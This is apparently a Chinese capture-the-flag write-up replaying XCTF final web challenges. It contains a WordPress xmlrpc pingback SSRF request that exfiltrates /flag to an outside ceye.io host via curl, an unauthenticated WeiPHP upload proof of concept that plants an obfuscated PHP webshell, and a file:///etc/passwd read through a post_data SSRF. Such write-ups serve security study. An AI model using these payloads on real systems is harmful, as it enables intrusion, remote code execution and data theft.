0%

XCTF final WEB 复现

前言

看ROIS发的final wp,真的tql

babypress

wordpress xmlrpc.php ssrf

?rsd=1 获取 Host
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
POST /xmlrpc.php HTTP/1.1
Host: ctf.tinmin.cn:8000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/78.0.3904.108 Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 431

<?xml version="1.0" encoding="utf-8"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param>
<value>
<string>http://backdoor:8080?backdoor=curl http://lekg1p.ceye.io/`cat /flag|base64`</string>
</value>
</param>
<param>
<value>
<string>http://Host/2019/11/08/hello-world/</string>
</value>
</param>
</params>
</methodCall>

image.png

image.png

noxss

下载最新的docker-compose

curl -L https://github.com/docker/compose/releases/download/1.25.1-rc1/docker-compose-`uname -s-uname -m` -o /usr/local/bin/docker-compose>

chmod +x /usr/local/bin/docker-compose

weiphp

Arbitrary File Upload


command.php

function *upload_files($setting = *‘’, $driver = ‘’, $config = ‘’, $type = ‘picture’, $isTest = false)

image.png

在application搜这个函数有没被用到

image.png

先看
/home/model/FIle.php
/home/model/Picture.php


都类似这样

1
2
3
4
5
6
   
public function upload($files, $setting, $driver = 'Local', $config = null, $isTest = false)
{
/* 上传文件 */
$info = upload_files($setting, $driver, $config, 'picture', $isTest);
……


他们给File & Picture模块写的方法,都有上传,


先看一下这些模块方法又是怎么被调用的


common.php里面有个 D 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function D($name = '', $layer = 'model')
{

// 兼容大写的应用名的写法
if (strpos($name, '/')) {
list ($module, $name) = explode('/', $name, 2);
$module_name = parse_name($module);

// auto_make_model($name, $module_name);

$name = $module_name . '/' . $name;
} else {
// auto_make_model($name);
}

return model($name, $layer);
}


model 函数在thinkphp\helper.php

1
2
3
4
5
6
7
8
9
10
11
12
13
if (!function_exists('model')) {
/**
* 实例化Model
* @param string $name Model名称
* @param string $layer 业务层名称
* @param bool $appendSuffix 是否添加类名后缀
* @return \think\Model
*/
function model($name = '', $layer = 'model', $appendSuffix = false)
{
return app()->model($name, $layer, $appendSuffix);
}
}


D用来返回模块


D(‘home/File’) 就是使用home/model/File.php 这个模块文件
搜一下能在home/controller/File.php里的upload方法找到
image.png


调用一下

/home/file/upload

image.png

需要登录

还有一个

image.png

不需要登录,直接传到根目录

一直没懂上传表单的文件参数要是啥

1
(isset($info['download']['msg']) && empty($info['download']['msg'])))

注意到这里 $info['download'] ,$info是$return , $redata[$key] = $return,$key就是表单中上传文件的参数name,要想进入上传成功,$info[‘download’]要存在,所以表单中name=’download’

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
POST /weiphp5.0/public/index.php/home/file/upload_root HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-CA,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------674495861235380143119652325
Content-Length: 422
Connection: close
Cookie: PHPSESSID=r1kreb2kufmmtl8deukjs25g71
Upgrade-Insecure-Requests: 1

-----------------------------674495861235380143119652325
Content-Disposition: form-data; name="download"; filename="tinmin.php7"
Content-Type: application/octet-stream

<?php
$a = "sy";
$b = "stem";
$c = $a.$b;
$c($_POST['tinmin']);

-----------------------------674495861235380143119652325
Content-Disposition: form-data; name="allow_file_ext"

php7
-----------------------------674495861235380143119652325--

CSRF

application/common/controller/Base.php

image.png

跟进 post_data
common.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
// 以POST方式提交数据
function post_data($url, $param = [], $type = 'json', $return_array = true, $useCert = [])
{
$has_json = false;
if ($type == 'json' && is_array($param)) {
$has_json = true;
$param = json_encode($param, JSON_UNESCAPED_UNICODE);
} elseif ($type == 'xml' && is_array($param)) {
$param = ToXml($param);
}
add_debug_log($url, 'post_data');

// 初始化curl
$ch = curl_init();
if ($type != 'file') {
add_debug_log($param, 'post_data');
// 设置超时
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
} else {
// 设置超时
curl_setopt($ch, CURLOPT_TIMEOUT, 180);
}

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// 设置header
if ($type == 'file') {
$header[] = "content-type: multipart/form-data; charset=UTF-8";
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
} elseif ($type == 'xml') {
curl_setopt($ch, CURLOPT_HEADER, false);
} elseif ($has_json) {
$header[] = "content-type: application/json; charset=UTF-8";
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
}

// curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_AUTOREFERER, 1);
// dump($param);
curl_setopt($ch, CURLOPT_POSTFIELDS, $param);
// 要求结果为字符串且输出到屏幕上
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// 使用证书:cert 与 key 分别属于两个.pem文件
if (isset($useCert['certPath']) && isset($useCert['keyPath'])) {
curl_setopt($ch, CURLOPT_SSLCERTTYPE, 'PEM');
curl_setopt($ch, CURLOPT_SSLCERT, $useCert['certPath']);
curl_setopt($ch, CURLOPT_SSLKEYTYPE, 'PEM');
curl_setopt($ch, CURLOPT_SSLKEY, $useCert['keyPath']);
}

$res = curl_exec($ch);
if ($type != 'file') {
add_debug_log($res, 'post_data');
}
// echo $res;die;
$flat = curl_errno($ch);

$msg = '';
if ($flat) {
$msg = curl_error($ch);
}
// add_request_log($url, $param, $res, $flat, $msg);
if ($flat) {
return [
'curl_erron' => $flat,
'curl_error' => $msg
];
} else {
if ($return_array && !empty($res)) {
$res = $type == 'json' ? json_decode($res, true) : FromXml($res);
}

return $res;
}
}

找一下谁继承了Base

可以找到

class User extends Home -> class Home extends WebBase -> class WebBase extends Base

那么直接模块为User 执行post_data方法

payload

public/index.php/home/user/post_data?url=file:///etc/passwd&param=&type=file

image.png